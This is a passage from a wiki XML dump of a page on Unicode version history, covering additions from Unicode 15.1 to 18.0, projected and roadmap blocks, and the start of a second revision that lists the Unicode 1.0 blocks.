|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>mw3p90um2danntqejsdf77k5y8jdonj</sha1>
    </revision>
    <revision>
      <id>4670521</id>
      <parentid>4670510</parentid>
      <timestamp>2026-09-17T00:43:46Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Extended blocks */</comment>
      <origin>4670521</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="130442" sha1="6y7qmvslooqt06gggnwhzfr84nhkevo" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
